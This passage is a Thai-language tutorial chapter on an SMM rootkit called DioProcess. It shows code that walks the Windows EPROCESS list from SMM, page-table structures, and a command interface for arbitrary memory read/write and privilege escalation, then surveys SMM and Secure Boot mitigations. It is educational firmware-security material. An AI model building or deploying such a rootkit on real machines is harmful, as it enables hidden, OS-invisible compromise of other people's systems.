2.3.11 การหา Process DirectoryBase ผ่าน EPROCESS List

เพื่อที่จะ translate virtual address ของ process ใด ๆ เราต้องรู้ DirectoryBase (CR3) ของ process นั้น ซึ่งทำได้โดยการ walk EPROCESS linked list

   // file: DioProcessSmm/Nt.c

UINT64
EFIAPI
NtGetDirBaseByPid(
    IN  UINT64  Pid,
    IN  VOID   *SysEprocess,    // PsInitialSystemProcess
    IN  UINT64  SysDirBase,     // System's CR3
    OUT VOID  **TargetEprocess
    )
{
    if (!SysEprocess || !SysDirBase || !Pid)
        return 0;

    VOID *CurrentEntry = SysEprocess;
    VOID *UnmappedEprocess = NULL;

    // Walk linked list
    do {
        // Map current EPROCESS
        UINT64 MappedEprocess = MemMapVirtualAddress(CurrentEntry, SysDirBase, 
                                                      &UnmappedEprocess);

        // อ่าน PID
        UINT64 CurrentPid = *(UINT64 *)(MappedEprocess + EPROCESS_PID_OFFSET);

        if (CurrentPid == Pid) {
            // Found! อ่าน DirectoryBase
            UINT64 DirBase = *(UINT64 *)(MappedEprocess + EPROCESS_DIR_BASE_OFFSET);

            if (TargetEprocess)
                *TargetEprocess = UnmappedEprocess;

            MemRestoreSmramMappings();
            return DirBase;
        }

        // ไปยัง entry ถัดไป (ActiveProcessLinks.Flink)
        UINT64 Flink = *(UINT64 *)(MappedEprocess + EPROCESS_FLINK_OFFSET);
        CurrentEntry = (VOID *)(Flink - EPROCESS_FLINK_OFFSET);

        MemRestoreSmramMappings();

    } while (CurrentEntry != SysEprocess);  // Loop จนกลับมาที่จุดเริ่มต้น

    SerialPrint("[ SMM ] Process not found in the list\r\n");
    return 0;
}

2.4 Page Table Structures

เพื่อทำความเข้าใจการทำงานของ memory translation เราต้องเข้าใจโครงสร้างของ page table ใน x86-64

2.4.1 4-Level Paging Structure

   ┌────────────────────────────────────────────────────────────────────┐
│                    x86-64 Virtual Address (48 bits)
├────────────────────────────────────────────────────────────────────┤
63-4847-3938-3029-2120-1211-0
│  Sign   │  PML4   │  PDPE   │   PDE   │   PTE   │   Offset    │
│  Ext    │  Index  │  Index  │  Index  │  Index  │             │
└────────────────────────────────────────────────────────────────────┘

2.4.2 Page Table Entry Structures

   // file: DioProcessSmm/PML4.h

typedef union _PML4E {
    struct {
        UINT64 Present : 1;          // Entry valid
        UINT64 ReadWrite : 1;        // Read/Write permission
        UINT64 UserSupervisor : 1;   // User/Supervisor access
        UINT64 PageWriteThrough : 1;
        UINT64 PageCacheDisable : 1;
        UINT64 Accessed : 1;
        UINT64 Ignored1 : 1;
        UINT64 Reserved1 : 2;
        UINT64 Avl : 3;
        UINT64 Pfn : 40;             // Page Frame Number (physical address >> 12)
        UINT64 Ignored2 : 11;
        UINT64 NoExecute : 1;
    } Bits;
    UINT64 Value;
} PML4E, *PPML4E;

typedef union _PDPE {
    struct {
        UINT64 Present : 1;
        UINT64 ReadWrite : 1;
        UINT64 UserSupervisor : 1;
        UINT64 PageWriteThrough : 1;
        UINT64 PageCacheDisable : 1;
        UINT64 Accessed : 1;
        UINT64 Dirty : 1;
        UINT64 Size : 1;             // 1 = 1GB page
        UINT64 Global : 1;
        UINT64 Avl : 3;
        UINT64 Pfn : 40;
        UINT64 Ignored2 : 11;
        UINT64 NoExecute : 1;
    } Bits;
    UINT64 Value;
} PDPE, *PPDPE;

typedef union _PDE {
    struct {
        UINT64 Present : 1;
        UINT64 ReadWrite : 1;
        UINT64 UserSupervisor : 1;
        UINT64 PageWriteThrough : 1;
        UINT64 PageCacheDisable : 1;
        UINT64 Accessed : 1;
        UINT64 Dirty : 1;
        UINT64 Size : 1;             // 1 = 2MB page
        UINT64 Global : 1;
        UINT64 Avl : 3;
        UINT64 Pfn : 40;
        UINT64 Ignored2 : 11;
        UINT64 NoExecute : 1;
    } Bits;
    UINT64 Value;
} PDE, *PPDE;

typedef union _PTE {
    struct {
        UINT64 Present : 1;
        UINT64 ReadWrite : 1;
        UINT64 UserSupervisor : 1;
        UINT64 PageWriteThrough : 1;
        UINT64 PageCacheDisable : 1;
        UINT64 Accessed : 1;
        UINT64 Dirty : 1;
        UINT64 Pat : 1;
        UINT64 Global : 1;
        UINT64 Avl : 3;
        UINT64 Pfn : 40;
        UINT64 Ignored2 : 11;
        UINT64 NoExecute : 1;
    } Bits;
    UINT64 Value;
} PTE, *PPTE;

2.5 Communication Interface

2.5.1 Communication Data Structures

   // file: DioProcessSmm/Defs.h

// Command codes
#define CMD_DIOPROCESS_PING_SMI             0xD700DEADULL
#define CMD_DIOPROCESS_READ_PHYS            0xD800AAABULL
#define CMD_DIOPROCESS_WRITE_PHYS           0xD800BBCDULL
#define CMD_DIOPROCESS_VIRT_TO_PHYS         0xD800FF11ULL
#define CMD_DIOPROCESS_READ_VIRTUAL         0xD900CCEFULL
#define CMD_DIOPROCESS_WRITE_VIRTUAL        0xD900DDAFULL
#define CMD_DIOPROCESS_PRIV_ESC             0xD100AC91ULL
#define CMD_DIOPROCESS_CACHE_SESSION_INFO   0xD110A110ULL

typedef struct _DIOPROCESS_COMMUNICATION {
    UINT32      Command;
    EFI_STATUS  SmiRetStatus;
    UINT64      CommBufSize;

    struct {
        UINT64  TargetProcessId;
        VOID   *PhysReadAddress;
        VOID   *VaReadAddress;
        VOID   *ReadResult;
        UINT64  ReadLength;
    } Read;

    struct {
        UINT64  TargetProcessId;
        VOID   *PhysWriteAddress;
        VOID   *VaWriteAddress;
        VOID   *DataToWrite;
        UINT64  WriteLength;
    } Write;

    struct {
        UINT64  ControllerProcessId;
        VOID   *VaPsInitialSysProcess;
        UINT64  DirBase;
    } Cache;

    struct {
        UINT64  TargetPid;
        VOID   *AddressToTranslate;
        VOID   *Translated;
    } Vtop;
} DIOPROCESS_COMMUNICATION, *PDIOPROCESS_COMMUNICATION;

2.5.2 Transfer API Structure

   // file: DioProcessDxe/Defs.h

typedef struct _DIOPROCESS_TRANSFER {
    struct {
        VOID  *CommBufVirtual;
        VOID  *CommBufPhys;
        UINTN  BufSize;
    } Buffer;

    struct {
        VOID  *SetupBufFunction;
        VOID  *SmmCommunicateFunction;
    } API;
} DIOPROCESS_TRANSFER, *PDIOPROCESS_TRANSFER;

2.6 Security Considerations

2.6.1 SMM Mitigations

Modern platforms มี protections หลายชั้นสำหรับ SMM

ProtectionDescription
D_LCKSMRAM Lock — ป้องกันการ modify SMRAM หลังจาก boot
SMM_CODE_CHKป้องกันการ execute code นอก SMRAM จาก SMM context
STMSMI Transfer Monitor — peer hypervisor สำหรับ monitor SMM
Intel PPAMHardware-enforced SMM isolation

2.6.2 Secure Boot

Secure Boot คือ mitigation หลักสำหรับ UEFI bootkit

   ┌─────────────────────────────────────────────────────┐
│                   Secure Boot Chain                  │
├─────────────────────────────────────────────────────┤
PK (Platform Key)         → OEM owns               │
│       ↓                                              │
KEK (Key Exchange Key)    → Microsoft/OEM          │
│       ↓                                              │
db (Signature Database)   → Trusted signatures     │
dbx (Revocation List)     → Blacklisted hashes     │
│       ↓                                              │
│  Verify all UEFI binaries before execution          │
└─────────────────────────────────────────────────────┘

2.6.3 Buffer Validation

SMM driver ต้องตรวจสอบว่า communication buffer ไม่ overlap กับ SMRAM เพื่อป้องกัน SMM callout attacks

   // file: DioProcessSmm/Smi.c

if (!SmmIsBufferOutsideSmmValid((UINTN)CommBuffer, PayloadSize)) {
    SerialPrint("[ SMM ] Communication buffer overlaps SMRAM!\r\n");
    return EFI_SUCCESS;
}

2.7 สรุปท้ายบท

AspectExitBootServices HookSMM Rootkit
Ring LevelRing 0 context (ก่อน OS boot)Ring -2
Persistenceต้องอยู่ใน firmwareอยู่ใน SMRAM (firmware)
Visibilityทำงานก่อน OSซ่อนจาก OS ตลอดเวลา
CapabilityPatch OS kernelFull hardware control
MitigationSecure BootSMM Lock, STM

Key Takeaways

  1. ExitBootServices คือจุดเปลี่ยนผ่านที่สำคัญที่สุดระหว่าง UEFI กับ OS เป็นเป้าหมายหลักของ bootkit เพราะ kernel image อยู่ใน memory แล้วแต่ยังไม่ได้ execute

  2. SMM คือ CPU mode ที่มี privilege สูงสุดรองจาก Management Engine code ที่ทำงานใน SMM สามารถอ่าน/เขียน memory ของ process ใด ๆ และแทบจะตรวจจับไม่ได้

  3. การ walk page table structures (PML4 → PDPE → PDE → PTE) เป็นพื้นฐานสำคัญสำหรับการ translate virtual address ไปเป็น physical address

  4. การ walk EPROCESS linked list ทำให้เราสามารถหา process ใด ๆ และอ่าน DirectoryBase, Token หรือข้อมูลอื่น ๆ ได้

  5. Defense in depth เป็นสิ่งจำเป็น ไม่มี single protection ที่สามารถป้องกัน firmware-level attacks ได้ทั้งหมด

Happy Hacking :)

References

  • UEFI Specification 2.10
  • UEFI Platform Initialization Specification, Volume 4: SMM
  • Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 3C (System Programming Guide)
  • DioProcess Source Code (DioProcessEfi, DioProcessDxe, DioProcessSmm)